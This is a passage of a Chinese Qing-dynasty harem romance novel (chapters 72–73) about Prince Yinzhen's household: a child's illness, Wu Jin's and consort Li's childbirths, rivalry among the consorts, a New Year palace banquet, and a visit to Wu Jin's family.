她看在眼里,这府里是不是没人能招惹乌氏,谁让乌氏不舒服,四阿哥是不是就会暗戳戳地惩诫谁。
乌喇那拉氏想到快要生的乌氏,虽说她进府以来还算安分,但谁又知道这种安分能持续多久。
乌喇那拉氏过了许久才睡着。
其实胤禛今晚纯粹是不喜欢闻福晋身上的玫瑰香味,觉得太浓,有些刺鼻,并没有想其它的,他也没有跟福晋说,他知道福晋是个容易多想的女人,一说,福晋就会觉得他是在嫌弃她。
翌日一早,胤禛被叫醒,大格格吐了,他起身穿好衣服,跟福晋一块过去李氏的院子。
大格格病了十几日,她最先开始生病,又把病传给李氏跟弘晖,这孩子前几日夜里发高烧,呓语不止。
胤禛怕大格格出事,他子嗣少,不希望在看到自己的孩子夭折,他还是让人拿着他的令牌出府去把小儿方科的林太医请过来。
经过林太医的医治,大格格才降温退烧,这会又突然吐了,看上去蔫蔫的,脸色发白,身子变成有些发冷。
李氏大着肚子过来照顾大格格,哽咽地恳求他再去把林太医请过来。
“放心吧,我已经让人去请了,曦玉一定会没事的。”胤禛宽慰李氏。
“阿玛……”
胤禛坐在床边,握着曦玉的手,“阿玛在这。”
“我会不会死?”
胤禛眉间紧皱,沉声道:“谁跟你说这些话的,你不会死,有阿玛跟你额娘在,你不会死,人哪那么容易死,你只是生病而已,你好好喝药,好好吃饭就不会死。”
“我有好好喝药,但我刚刚把吃过的饭都吐出来了,阿玛,我有点冷。”
胤禛用被子把曦玉裹上,明明大热天,曦玉却浑身发冷,他让曦玉躺下,等林太医过来,让人再去煎药。
林太医提着医箱过来,看诊完后给曦玉针灸,还是之前的药方,让曦玉每日喝两碗,目前人是退烧了,伤寒之症,只能慢慢休养。
胤禛让林太医在府里歇半天,看曦玉有没有好转,半天过后,曦玉睡好了,他才让林太医离开,不过又请了外面一位大夫在府里住着,以防曦玉病情反复。
之后几天,他白天从户部那边回来后都会过去看看曦玉,喝了几天的药,加上她退烧了,她看上去好多了,有食欲吃东西了,精神恢复不少。
胤禛才松口气,他可不希望自己又少一个孩子,同时他抽空严查那些在主子面前乱说话的奴才,将几个对格格说死字的奴才通通逐出府。
第72章第72章更新
第72章
德妃娘娘生辰那天,乌喇那拉氏带了宋氏跟郭氏一起进宫给娘娘贺寿,娘娘问为何没把孩子带进宫时,她说了两个孩子在生病的事。
娘娘关心了几句,又问到乌氏跟李氏几时生,乌喇那拉氏说了大概的预产期。
“那乌氏肚中的孩子岂不是在外面就怀上了,胤禛这孩子太过胡闹了,若是个阿哥,这孩子往后被有心人故意歪曲的话,会被人说是野种的,这皇家血脉岂能胡闹。”
乌喇那拉氏一听野种二字,也是愣了一下,她倒是没想过这一点,乌氏那孩子是在外面怀上的没错,可她早在四年前便是四阿哥的外室,顶多孩子会被说是外室之子,应该没人会说血脉不正,不过娘娘说得有理,这事但凡被有心人歪曲,质疑那孩子的血统,到时候肯定又会有一番争论与风波,这事要自证比较难。
不过乌喇那拉氏身为福晋,没有附和德妃娘娘的话,只是说乌氏是四阿哥后院的格格,已经上了
宗人府的族册,名正言顺,别人质疑不代表什么。
好在德妃娘娘没有继续往下说。
她们在永和宫待了一个时辰后才离开。
又过一个多月,两个孩子还有李氏终于病愈,乌喇那拉氏松了一大口气。
云水堂院子里放了不少盆栽,有些是内务府那边送过来的,海棠、牡丹、月季、玉兰都有,乌喇那拉氏站在连廊下,看着弘晖在院子里玩,不少花被他糟蹋。
不过是一些花而已,糟蹋就糟蹋了,乌喇那拉氏没有制止。
丁鹏过来时,乌喇那拉氏看他一眼。
丁鹏弓身凑在她耳边小声道:“福晋,奴才最近发现一件事,膳房的人单独给乌格格开小灶,奴才旁敲侧击才从那些人口中问出一些话,乌格格那边的膳食是四阿哥特意嘱咐过了,并未按照份例给乌格格分食,乌格格她想吃什么都可以,远超府中格格的份例。”
“当真?”
“奴才不敢说谎。”
乌喇那拉氏皱眉,这后院的吃喝用度都是由她来掌管,她每个月核对后院的账目与支出,并未发现不妥,乌氏那的吃喝用度也没有超出格格的份额,估计是走前院那边的支出。
“既然是主子爷吩咐的,那就别管,睁一只眼闭一只眼吧。”
小不忍则乱大谋,更何况此时乌氏是四阿哥心尖上的人,她若是为难乌氏,四阿哥也会对她生厌,像对郭氏那样,她没必要在这个时候跟乌氏过不去。
“嗻,奴才明白了。”
乌喇那拉氏示意丁鹏下去。
“额娘,花花,给额娘花花。”弘晖朝她跑过来,他走路还不是特别稳,小短腿一颠一颠的,手里攥着被他摘下来的花,嚷着要送给她。
乌喇那拉氏慈爱地看着弘晖,半蹲下来接过他手里的花。
“弘晖对额娘真好,弘晖真棒。”
弘晖天真无邪地直笑,小手因为摘花跟玩土已经脏得不成样,乌喇那拉氏用帕子给他擦擦手。
有奴才从外面进院子,急着禀报说乌格格肚子破水发动了。
乌喇那拉氏愣了一下,竟然在今天发动,四阿哥今天正好去户部衙门那边了,她连忙吩咐崔嬷嬷,让她去前院那边,让前院的人去给四阿哥传话。
“妙菡,你去膳房那边让被人烧热水,参汤也煮上,你们就看好小阿哥。”
一番吩咐完后,乌喇那拉氏才带着人过去桃园,除了四阿哥今日不在府里,乌氏这一胎发动的时辰还不错,大白天,无论是请太医还是请大夫都比较好请。
她到桃园的时候,其他人也到了,给她请安,连李氏都过来了,她问什么时候破水的,乌氏这边的小太监说是一刻钟前,三个接生产婆已经在房间内。
主子爷对乌氏看重,早早让接生产婆在桃园住着,这会,她们这些人也只能等在外头,帮不上什么忙。
这女人生孩子不是一个时辰就能解决的事,短则半天,长则几天几夜,刚破水,宫口估计还没完全开,只能等了。
“你去给李格格搬张凳子过来。”
听到福晋的话,小才子才反应过来,他太过紧张了,才忘了要给主子们搬凳子,他忙去搬凳子,给主子们坐着等。
不到半个时辰,四阿哥从外面赶回来了,问里面的情况,乌喇那拉氏说方才接生产婆说乌格格刚破水,等真的生下来恐怕要几个时辰。
“既然这样,你们都先回去吧,不用在这里坐着等,等会再过来。”四阿哥说道。
乌喇那拉氏只好先带着人离开,等乌氏生完再过来,只是她的心不平静,回到云水堂也一直想着乌氏,不知她生的是格格还是阿哥。
要是个阿哥,乌喇那拉氏想到四阿哥对乌氏的偏宠,她就止不住担心。
一直到天黑,乌氏那边也没传来消息,乌喇那拉氏用过晚膳后,又忍不住问桃园那边怎么样。
“还没生,福晋,要不你先安歇吧,明早起来,乌格格应该就生了。”
乌喇那拉氏看向崔嬷嬷,说道:“我哪睡得着,我就怕乌格格这一胎是个阿哥,那她的孩子跟弘晖年纪相差不大。”
“不会的,肯定是个格格。”
乌喇那拉氏笑了笑,崔嬷嬷总是这样宽慰她,不让她多想,她说乌格格恐怕到后半夜才生了。
果不其然,到了亥时,半夜,乌氏才生下孩子,母女平安,是个格格,乌喇那拉氏听到是格格的时候忍不住笑了,老天还是保佑她跟弘晖的。
她终于能踏实地入睡。
翌日一早,她早早醒来,早膳没吃,先带着人过去桃园,到乌氏房间时,宋氏她们都在,四阿哥也在。
“小格格呢,我来看看小格格。”
奶娘把小格格放到乌喇那拉氏手里,她看着睡得正熟的孩子,笑道:“主子爷,这孩子长得既像你又像乌妹妹,这眉眼长得真好。”
宋氏接话道:“福晋说得对,我瞧着也是如此。”
屋子里的女人都看着孩子笑。
乌喇那拉氏把孩子交给宋氏抱着后,她到床边看乌氏:“妹妹,你辛苦了,接下来就好好歇息,好好休养,有什么事让奴才跑腿,这女子坐月子是第二次投胎,一定要把月子坐好。”
“我知道了,多谢福晋提醒。”
乌喇那拉氏看乌氏刚生完孩子,实在疲乏,说话有气无力的,于是她很主动地说:“主子爷,我们不便在这里多打扰乌妹妹休息,让乌妹妹好好歇息吧,我们还是先出去。”
四阿哥点头后,乌喇那拉氏又带着屋子里的其它女人离开。
乌氏的孩子自有奶娘跟丫鬟照顾。
知道乌氏生的是格格后,乌喇那拉氏早膳都吃得多了,心情大好。
……
乌锦刚生完孩子,应付完四阿哥后院的女人,也没有精力再应付四阿哥,沉沉睡了过去。
等她醒来时已经天黑,她下腹仍然能感觉到撕裂般的疼痛,从床上被搀着坐起来时都觉得费力,勉强吃了一些东西,才让人把孩子抱过来给她看看。
刚出生的孩子还是皱皱巴巴的,没看出来像谁。
“格格,小格格今天喝了两回奶,可有劲了。”君梅在一旁说道。
乌锦笑了笑,还好孩子是满月生的,没满月的孩子更容易夭折,有劲喝奶就行,她见到四阿哥进来,抬头看他一眼。
“你别亲自抱孩子,好好躺着。”
乌锦又把孩子交给戚奶娘,让四阿哥也抱一抱。
四阿哥也是抱过孩子的人,抱起来不显笨拙,孩子被交换来交换去,她也依旧睡得很熟。
“好啦,奶娘,你把孩子抱去隔壁吧。”
奶娘他们一走,乌锦看向四阿哥,他昨晚也守了她一夜,眼皮底下有明显的乌青。
“爷,我看你挺累的,你回去歇息吧。”
“我没有你累。”
乌锦心想也是,她昨晚生孩子失了那么多血,从白天生到黑夜,他不过是熬了一晚而已,能累到哪里去。
“格格,汤药喝过了吗?你不需要亲自喂奶,先好好养身子,该喝的补血止血汤药都要喝,周太医开的药方,对你身子好。”
乌锦看着唠叨的四阿哥,不由地笑了笑,认真地应他,说她知道了。
胤禛坐在床边,把她搂过来。
她顺势靠在他怀里,问道:“爷,我生的是格格,不是阿哥,你失不失望?”
胤禛指腹刮了刮她鼻子,沉声道:“说什么呢,只要你平平安安地诞下孩子,无论是格格还是阿哥,我都不会失望,是格格我也喜欢,是格格也是我们的孩子,孩子康健比什么都重要。”
别管他心里是不是这样想的,能这么说,她还是很高兴,她也意料到这一胎会是女儿,毕竟四阿哥的儿子少,不会出自她的肚子,女儿好,她觉得福晋白天过来看她时,那神情是轻松的。
要是是个阿哥,福晋恐怕会想办法对付她,毕竟四阿哥待她极好,爱屋及乌,福晋难免多心。
乌锦觉得自己的日子还是过得平静一点为好,等她的孩子长大,四阿哥该登基了,到时候她就说服他别让孩子去抚蒙,留在京城。
两人相互依偎一会。
乌锦累得又躺下。
坐月子第五天,四阿哥说可以让她家人进府看她,让她额娘伺候她坐月子,乌锦就让人去请家里人进府,进府已经大半年了,她都没有回家。
家里人也不能随随便便进贝勒府,只能书信往来,好不容易有机会见家人,她当然不能错过。
她额娘他们过来时,她都忍不住泛泪,额娘他们对着她嘘寒问暖,她身子虚弱,也陪着他们说了好久的话,让他们看看孩子。
至于伺候她坐月子就不用了,她身边的人不少,还有铺子要看守呢,大半年没见,她觉得乌安跟乌明看着都长高不少。
不过额娘他们白天过来,傍晚回去,就这样持续了五天,有时候是他们过来时把舅妈他们也带进来看她,姑母跟堂嫂她们也来看过她。
乌锦坐月子期间,四阿哥时不时过来看她,她生下格格的事也被很多人知道,不少人给她送礼,包括简世子,多兰夫妇、德妃娘娘等等。
她没有亲喂母乳,都是交给奶娘,所以在吃上没那么忌讳,不过下面有伤口未愈合,她也没有吃辛辣油腻的食物。
眨眼间就到十一月底,小格格已经两个月大,乌锦也基本上恢复过来了。
听春进来说李格格那边发动了,乌锦刚出月子,还是亲自过去一趟,福晋见到她,忙让人给她赐坐,说她身子还没养好,不用过来。
“福晋,我好多了,李姐姐怎么样了?”
“刚开始生呢,你也是生过孩子的人,应该知道没那么快,这会已经是午时了,大家伙可以先回去用过膳再过来,乌妹妹,你这刚出月子,不用特意过来等,有什么消息,我让奴才通知你。”
乌锦只是过来露一面,也没打算等几个时辰,她点点头,刚到没多久又回去了,宋格格跟着她回桃园。
“妹妹应该好得差不多了吧。”
“已经没有大碍,不过还是容易疲乏,这腰骨还是一直泛疼,还有一些恶露。”
宋格格叹口气:“这女人生孩子就是这样,生完也恢复不到从前,好在你生下一个康健的小格格,这比什么都值得。”
“姐姐在我这里用膳吧。”
“也好。”
乌锦让小才子去提膳,宋格格问她孩子取名了没有,她摇摇头说还没有。
“不过不着急,这名字还得让钦天监那边算一算,总得取一个吉利的名字,我记得大格格是半岁的时候才取的名字。”
乌锦点点头。
“妹妹觉得李格格这一胎是阿哥还是格格?”
“应该是阿哥吧。”
宋格格说李格格先前生过一个阿哥了。
“那可能还会再生一个阿哥,不过这得生出来才知道,先前别人也说我生的是阿哥。”
宋格格笑道:“格格也好,我瞧着小格格可爱得很,女儿是小棉袄,贴心一些。”
乌锦就这样跟宋格格边吃边闲聊,她吃过午膳后就去午睡了,等她睡醒,李格格还没生。
一直到傍晚才传来李格格诞下一子的消息,母子平安,四阿哥已经过去李格格那里。
乌锦是第二天才过去看李格格,慰问几句,称赞孩子,顺带把送给孩子的礼物呈上,是一对银手镯跟脚镯。
……
日子来到年底,离除夕只有三天,府里也除旧迎新,上上下下都已经打扫一遍,各处都悬着灯笼跟吉祥灯,福字也贴满。
过节喜庆的气氛越来越浓烈,内务府分给四贝勒府的年例也发放下来,府里这几日都吃得很好,包括奴才。
今日下雪,寒冷万分。
乌锦房间内的铺炕烧着,连炭火也燃着,里头暖烘烘的,基本上人都在她这屋。
孩子还是处在吃喝睡的年纪,她被放在铺炕上,小小的身子裹着好几层,包得跟粽子似的,人多说话也没吵醒她。
乌锦在看年前给她送礼,还有她生完孩子给她送礼的名单,想着年后回礼,她不用操心府里的事,只管自己那一亩三分地。
有些东西可以转赠,不可能全部重新买,她盘腿坐在铺炕上写写划划。
外头有人敲门,正在跟君梅她们玩叶子牌的小才子赶紧去开门,见到来人是四阿哥,蹲下行礼时也大声道:“给主子爷请安,主子爷万福。”
君梅她们也赶紧把叶子牌收起来,开始端茶倒水,一阵忙活后躬身候在旁边。
“在干什么?”
“看谁给我送礼,我准备回礼,爷,这几个人也给我送礼了,但我并不认识,也从未见过,他们送的礼还很厚,我该怎么处理?”
有人没法把礼送到四阿哥那边,就往她这边送,乌锦也是查看送礼名单时才发现,她指给四阿哥看,其中就有户部左侍郎。
“都送了什么?”
“喏,送了这些,我都记下了,我是不是该退回去?”
她毕竟只是格格,又不是福晋,应该不能这么堂而皇之地收朝廷大臣的礼,往重了说是有人想贿赂四阿哥,四阿哥很容易被人抓住小辫子。
“不是什么值钱的东西,收下就收下了。”
乌锦诧异地看着他:“那我需要回礼吗?”
“不需要,把名单交给我就行。”
“行,我重新写一份名单给你。”
乌锦开始誊写名单,屋内热,她穿得不多,她感觉到后背有一只手在抚来抚去,她偏头看他一眼,他的眼神有点意味不明。
她又看一屋子的人,便开口说道:“你们把孩子抱去隔壁吧,都去忙你们的吧,不用在这里候着。”
一帮人这才退出去。
胤禛笑了笑,搂住她,“我看你身子也好了,已经三个月过去了,可以侍寝啦。”
“你就不能想着别的事吗?才三个月而已,不行,我觉得我还没好,万一又怀上怎么办。”
“不会的,我弄在外面。”
乌锦见他跟狗一样已经缠住她,想了想他们已经很久没做过了,算了,他想要就给他吧,总不能他对她这么好,什么都不能得到,就当是给点甜头。
胤禛觉得她丰腴不少,摸起来肉更软了,他不着急脱掉她的衣服,手衣服下摆伸进去,还凑上去亲她,她柔顺乖巧得很,没有推拒。
“这是什么?”
他看了看黏黏的手。
“虽然我没有喂奶,但是产后也会分泌这些,你别太用力。”
胤禛听她这么说,反而更用力。
……
事后,胤禛十分餍足,觉得将近一年的等待是值得的,他看向乌锦,她无力地躺在那,见他看她,她翻了一个白眼,他轻笑出声。
“好啦,下次不会弄这么狠,我想好给我们的孩子取什么名字了,已经算好啦,曦宁,你觉得怎么样?”
阿哥的孩子,男孩是弘字辈,女孩是曦字辈,乌锦听着曦宁两个字,觉得还行,便点点头。
“喜欢就好,不枉我想了这么久,除夕宫宴,你带着孩子一同进宫吧。”
“听主子爷的,就是这孩子才三个月大,我怕她哭闹。”
“让奶娘照看着,不用在宴席上坐着,宫里有专门的房间让孩子歇着的,你先前进宫时还不是主子,今年是第一年,得进宫一趟。”
乌锦听明白他的意思,这是让她以正经主子的身份进宫,向众人昭告她主子的身份,免得别人还以为她是外室,尤其是如今的她还诞下皇嗣了,就更名正言顺。
“嗯,我知道了,谢谢主子爷为我着想。”
乌锦靠在他怀里,亲了亲他下巴。
胤禛搂着怀里的人,只觉得满足。
真到除夕那天,跟着四阿哥进宫的人有福晋、她、宋格格跟郭侍妾,进宫这事也不是人人都去,李氏还在坐月子,自然没有过去,不过三个孩子都带过去了,说是要沐浴帝恩。
乌锦让奶娘她们看好孩子,等着他们吃完宴席,只有弘晖年纪大一些,可以跟着他们一起入席。
说是宫宴,但其实是皇上的家宴,男眷跟女眷分开,乌锦跟皇子们后院的格格坐在一块,比如说是大阿哥的格格、三阿哥的格格等人。
她不是福晋,平日里跟这些人也没有往来,见面很少,有些听都没听过,所以只是客气地打声招呼,并没有热聊。
加上这宫宴也不是她们热聊的地方,大家相对拘谨。
宫里除夕宴上面的饭菜都是提前备好的,冷了就重新蒸,在真正被端上来时都不知道被蒸过了几次,甚至有几道泛黄,其实并不好吃,只能算勉强入口,乌锦吃得不多。
除夕宴还是持续了两个时辰才结束,他们过来时一共三辆马车,四阿哥一辆,福晋跟弘晖小阿哥一辆,她跟宋格格她们加上孩子跟奶娘一辆,属于七八个人挤在一辆马车里。
回去的时候,她被四阿哥叫过去,被叫过去时,郭氏是狠狠瞪她,十分不满她单独被四阿哥叫过去。
四阿哥的马车显然就宽敞许多,什么都有,暖手炉,热茶跟点心都备着。
“爷,你喝酒了
吗?”
“没喝多。”
乌锦瞧着他满脸通红,一身酒气,不像是没喝多的样子,她刚刚没怎么吃,拿起车厢内放着的一块梅花糕放进嘴里。
“是不是觉得那些东西不好吃?宫里举办宴席时一向如此,都是提前做好的,有些可能是提前一天就做好了,明明是高兴的日子,还要吃不好吃的食物。”
乌锦瞧着开始抱怨的四阿哥,笑道:“没办法,人多,那么多道菜,膳房的人忙不过来。”
“你挺会体谅那些奴才的。”
怎么说呢,比起主子,她当然更能明白奴才的处境,大过年的,主子至少可以高高兴兴地吃席,享受食物,奴才要吃上年夜饭恐怕都得后半夜了,四阿哥一生出来就是主子,他骨子里还是有着主子的傲慢。
“爷估计也没吃多少,吃点点心垫垫肚子吧。”乌锦拿起一块桃酥放进他嘴里。
四阿哥只咬一口便摇头,乌锦把剩下的吃了。
他搂着她的腰,整个人靠在她身上,开始不停地亲她,从脖子、脸颊再到红唇,乌锦口中还有吃的呢,她闭着嘴巴不肯张开。
“爷,你喝酒了,我不要。”
“我想要,听话,张嘴。”
乌锦把点心都咽下去后,还是被他顶开嘴巴,舌头伸进来,她也分不清是点心的味道还是酒的味道。
他摁着她后脑勺,不让她退缩,她稍微推拒,他眼神就变冷,乌锦已经没见过这样子的四阿哥了,有点像之前对着她发疯时的样子。
他应该是喝多,本性暴露了,他对她好,也不会改变他本质上依旧是一个强势、有戾气的男人。
乌锦就没有再反抗,主动攀着他的脖子。
好在他只是亲吻,没有再做其它的。
皇宫离贝勒府也不远,到了之后,乌锦先从马车上下来,福晋等人也陆续从他们的马车下来,见到她嘴巴红润,甚至有些肿,她们神色各异。
郭氏小声骂一句狐狸精。
乌锦当没听到,过去抱曦宁,没管四阿哥,反正他有人伺候,他们一行人进府。
“君梅,备水给我沐浴。”回到桃园后,乌锦吩咐一句,她让奶娘把孩子带去睡觉。
刚吩咐完后,四阿哥就过来了,苏培盛跟在四阿哥后面,乌锦略显无奈,只好说:“苏公公,端一碗醒酒汤过来吧。”
“已经有人去端了,等会送过来。”
府里的奴才都知道主子有可能喝酒,早就备好醒酒汤,只是主子爷过来桃园这边,他们要将醒酒汤送到桃园这边。
“听春,去打一盆热水过来。”
乌锦揽过伺候四阿哥的活,给他擦脸,帮他脱衣服,等他喝完醒酒汤后,让他漱口,他这会没有闹,安安静静完成了。
“乌锦,你还惦记着那个张宗吗?”
冷不丁的一句话让乌锦顿时有些无语,要不是他三番四次提起张宗,她还真的把这个人忘了,张宗在他这怎么就过不去,她对张宗的样貌都有些模糊了。
“主子爷,你觉得我当初为何想嫁给张宗?”
“为什么?”
“并非是我跟张宗两情相悦,而是因为主子爷,主子爷若是没有要强行让我当外室,我是没想过要嫁人的,我找张宗,想嫁给张宗只是为了断你的念想,我那是情急之下的无奈之举,我跟张宗并不是你想的那样两情缱绻。”
“真的?”
“骗你做什么。”
“那你先前还为了救张宗跪下来求我?”
乌锦解释道:“那是因为我欠他的,如果不是我突然要嫁给他,你也不会找他麻烦,他当初差点死在你手里,我是欠他的,所以是还给他而已,我并不是喜欢张宗,主子爷若是不提起他,我早就忘了这人。”
“那你……喜欢我吗?”
乌锦点点头,似真挚道:“我已经喜欢上主子爷了,主子爷待我的好,我看在眼里,你一点点让我喜欢上你,这次我没有骗你,我可以摸着我的良心说这句话,如果不是喜欢你,我不会想生下曦宁,生下她就意味着我们两个人这辈子都会绑在一起。”
胤禛忽然搂住她,搂得很紧。
“爷,我想沐浴,我觉得我身上有一股蒸菜的味道,你先松开我吧。”
“好,我等你。”
乌锦沐浴回来后又慢慢用毛巾绞干头发才回床上,这人还没睡,她躺下来,他就覆身上来。
明明是喝多的人,但精力旺盛,乌锦有些无奈,到最后累得都不想说话了,事后就这样睡着。
入夜,夜里飘起雪花。
苏培盛到厢房这边歇下,不敢睡得太死,一大早起来去喊主子爷,今天大年初一,主子爷是要进宫的,臣子给皇上跟太子朝贺的,主子爷作为贝勒,也是臣子之一。
他在外面喊几声,里面没有动静。
“还请君梅姑娘进去把主子爷叫醒。”
他一个阉人不好直接进去,只能请乌格格身边的丫鬟进去。
君梅进去,在床边唤两声,还是自家小主先掀开床帐,她立即上前将床帐掀起用金钩勾住,主子爷果然还在沉睡。
“格格,苏公公说主子爷要进宫朝贺。”
乌锦便把人推醒,被强行推醒的人脸色阴沉,谁看都是不好惹的样子。
“爷,别耽误了时辰,赶紧起来吧,君梅,把主子爷的衣服拿过来。”
乌锦亲自给他穿衣服,怕他有起床气,苛待奴才,她只能亲自上手,里里外外给他穿好衣服,鞋靴也穿好。
“爷,该走了。”
终于把人送走后,乌锦又倒回床上补觉。
再次醒来时,她穿好衣服,到房间门口发现昨夜下雪了,外面白白一片,小才子正在努力将院子的雪扫到墙边。
“格格,要提膳吗?”
乌锦说先去福晋请安贺岁,回来再吃,她过去女儿的房间,给曦宁穿好喜气的厚红袄后,将她包得严实后抱着孩子去云水堂。
郭氏见到她晚到,直接嘲讽道:“乌格格昨夜怕是勾着主子爷都忘了时辰,让我们这么多人等你一个,你好大的排场啊,这是不把福晋放在眼里,不知道大年初一要过来给福晋拜年。”
乌锦扫一眼,见还真的人到齐了,她是最晚到的,连李格格都过来了,没等她回话,福晋便替她说话。
“乌妹妹昨晚伺候主子爷,今早要送主子爷进宫,耽搁了一会,并不碍事,我们也没等太久,反正大年初一,大家也没什么要紧事,等一等也无妨,过年要讲究和气,一点小事没必要争吵。”
郭氏这才撇撇嘴。
乌锦知道自己来晚了,她致歉道:“是我不对,昨夜主子爷喝多了,伺候主子爷很晚才歇下,不过不管什么理由,我晚到,让大家久等都是我的不对,跟大家说一声对不住。”
“狐狸精,还好意思说出来。”
“郭妹妹!”
郭氏被福晋斥责一句,郭氏才没有继续说话。
“乌妹妹,把二格格抱来给我看看。”
乌锦把女儿抱过去给福晋。
福晋称赞道:“二格格长得真好,长开了,粉雕玉琢的,太可爱了,大家看看二格格,弘晖,这是你妹妹。”
三岁的弘晖凑过来看一眼,小孩子眼里很是好奇,大家顿时又开始围着孩子说话,李格格的
女儿还太小,没抱过来。
大人给三个孩子发赏银,孩子对银子还不感兴趣,都是当额娘的代收,气氛才好起来。
大年初一不能吃荤,所以她们一群人坐在一块吃素饺,吃完素饺后又放鞭炮。
到福晋这拜完年后,乌锦才抱着孩子回桃园。
宋格格过来,额外给孩子一个荷包。
“这是我给二格格的,刚才人多,我不好当着福晋的面厚此薄彼。”
乌锦是看出来宋格格想跟她交好的心。
四阿哥后院的女人只有九个,但这九个也是有分派的,比如福晋跟李氏交好,郭氏算是靠在福晋那边的人,张氏又跟郭氏交好,所以张氏也算是福晋那边的人。
耿氏跟武氏跟谁都没有走得很近,章佳氏虽然跟她同时进府,但她常去福晋那里,算是投靠福晋了。
而宋氏因为是跟着四阿哥最久的人,她可能不愿意投靠福晋,所以她就必须拉拢人,她就是宋氏拉拢的对象。
乌锦没有排斥宋氏想拉拢她的心,只是这后院一般也没有什么大事,大家明面上都还是过得去,除了郭氏对她有不满之外。
她觉得跟宋氏交好不是坏事,福晋那边也不会应该她跟宋氏交好而跟她过不去,福晋应该最在乎生出阿哥的人,只要她没有生出小阿哥,她都不会把她当成敌人,所以宋氏示好,她也坦然接受。
“谢谢宋姐姐,宋姐姐的心意,曦宁收到了,姐姐,吃个橘子吧,讨个吉利。”
乌锦拿一颗橘子递给宋氏。
宋氏掰橘子。
乌锦也拿一瓣给曦宁舔一舔,小孩子还不能吃这些,只能沾沾就够了。
四阿哥是下午才回府,先去了福晋那,又去李氏那,最后才来到桃园。
乌锦正在给孩子织一双毛袜,见到四阿哥,晓得他今日去宫里应该没能好好用膳,便让小才子去膳房那边让膳房的人多做几道菜,做好了送过来。
“府里有绣娘。”
乌锦笑着说她反正闲着也是闲着,其实府里只有两个绣娘,主子那么多,绣娘也忙不过来。
“爷,你要是累了,就躺着歇一会吧。”
“我饿了。”
“那让膳房的人做快一点,主子爷你尝尝水果吧,吃个橘子。”
“橘子太凉,不想吃。”
“那吃雪莲果。”
“不吃。”
乌锦见他跟个小孩子似的这也不吃,那也不吃,她就不管她,继续织她的毛袜,懒得搭理他。
“你昨天说的话可是真的?”
乌锦抬头见他定定地看着她,她假装听不懂:“什么话?”
“就你昨天说的话。”
“我昨天说什么了?”
胤禛伸手过来捏她的脸:“我都听到了,你还想耍赖不成?”
乌锦轻哼一声:“我喝多了,我都不知道我自己说了什么,爷肯定是幻听了,我什么都没说。”
胤禛觉得她是害羞了,她昨天可是亲口说她喜欢上他了,他听得一清二楚,她昨天哪有喝酒,他继续捏她的肉脸,说道:“你要不也给我织一双袜子吧。”
“爷又不是缺袜子的人。”
“那我缺你织的那双袜子,你从来没有给我织过什么,你是京城里最好的绣娘,偏偏一件衣服都没给我绣过。”
“我明明给你绣过荷包,你收下我的荷包怎么还不认?”
胤禛才想起来她是送过他一个荷包,那荷包不知被他放到哪里去了,他得让人找找。
第73章第73章更新
第73章
四阿哥在她这用膳,晚上留下来过夜。
夜里,乌锦跟他说她过年要回家一趟,征求他的同意,她打算大年初三带孩子回去半天。
“嗯,你想回去就回去,别过夜就好。”
乌锦倒是想过夜,不过她额娘他们也是有封建老旧思想的,认为出嫁的女儿不适合在娘家过夜,她想过夜都不行。
大年初三一早,乌锦就让君梅她们把她提前备好的年货装到马车上,带孩子出门总是要带很多东西,忙活了半个时辰,她们才出发,依旧是赵师傅驱车送她,不过这回车厢外面挂着贝勒的令牌标识,普通百姓令牌后会自动避让。
乌锦掀着帘子看外面,贝勒府里就这么多人,肯定不如在府外热闹,大过年的,外面十分喧闹得很。
到石桥胡同后,乌锦看到胡同前后都有不少小孩子在玩耍,互相追逐,也有几个妇人聚在外头聊天,各家各户门口的地上都有红色鞭炮碎屑
乌锦从马车上下来后,原本在聊天的妇人顿时看过来,高喊道:“那不是桃子嘛,桃子,你回来啦。”
旁边有人提醒:“什么桃子,桃子如今可是贝勒府的主子啦,你得叫福晋。”
乌锦冲着她们笑了笑,没说什么,推开家中大门进去。
额娘他们一见到她都有点意外,顿时欣喜。
“女儿,你怎么回来啦,怎么不跟我们提前说一声。”
“这不是想给你们一个惊喜嘛,况且今天不正是要回娘家的日子。”
完颜氏笑得合不拢嘴,忙让她们坐下,又说道:“连秀,今天中午得多做点吃的,炖些肉,我们家桃子最喜欢吃肉啦。”
程连秀笑着点头,很快去膳房那边忙活。
“还把孩子带回来了,让我看看我外孙女。”完颜氏喜不自胜,尤其是瞧着自家女儿衣着光鲜,奴仆环绕,说话的语气都不觉上扬。
外孙女刚生出来没多久,全家一起去贝勒府看过,那会还是皱皱巴巴的,眼睛还不能睁开,这会已经白白胖胖了,眼珠子大得很,一看就很机灵。
“乌志善,你快看,你外孙女多机灵。”
乌锦趁着他们在看孩子时,她问乌安跟乌明两个人去哪了。
“一大早就跑出去玩,对了,彩玉怀孕了,她年前跟李大人也回来一趟,我瞧着彩玉过得挺好的,你不用担心。”
乌锦看向她额娘,问彩玉怀孕几个月了。
“还没满三个月,两个多月。”完颜氏看完孩子又细细打量自家女儿,面色红润饱满,欣慰不少,“之前在贝勒府没敢多问,怎么样,福晋她们有没有为难你,好不好相处?”
“挺好的,福晋宽厚,没有人为难我,额娘大可放心。”
完颜氏又念叨说她回来就回来,不用带这么多东西,然后看向随她回来的君梅听春跟戚妈妈三人,忙着给她们倒热茶,让她们吃过年做的酥糖。
乌锦让听春去膳房帮她小娘,她盘腿坐在铺炕上,看着她阿玛跟额娘一直逗小孩子,她也拿一块酥糖放进嘴里。
过一会儿,三婶进屋。
“外面那些人说桃子回来啦,我还不相信,原来真是桃子回来了,哟,这就是小格格吧,取名了吗?”
“取了,叫曦宁,三婶,新年吉祥。”
三婶呵呵地直笑,说曦宁这个名字好,她也把手上戴的镯子硬塞到小孩的襁褓中。
“三婶不知道你们回来,什么都没有准备,这个就送给小格格当过年礼啦。”
乌锦没有跟三婶推拒来推拒去,让戚妈妈收下。
“小格格长得真好,一看就是美人胚子。”
“才四个月大呢,长大以后长什么样还不知道,三婶就别夸她了。”
三婶摸了摸小孩子的脸,说道:“
可茹,你是有福气的人,生了桃子这么好的女儿,桃子又入了贝勒府,平日里还能回娘家,真好啊。”
“唉,只是过年才回来一趟,三婶,你留下来跟我们一起吃饭吧。”
三婶连忙摆手:“说什么呢,你们一家人团聚的日子,我凑什么热闹,桃子,三婶就是过来看看小格格,没什么事的话,三婶先回去了。”
“三婶,有空常来。”
三婶笑着点头,很快又出去了。
到了午时,完颜氏到胡同那边把两个儿子叫回来,一家人加上君梅她们坐在一块用膳,八道菜摆在一块,鸡鸭牛羊肉都有。
乌志善高兴地一直喝酒。
乌锦碗中堆着满满的肉,都是额娘他们夹给她的,她一口一口吃,想全部吃完。
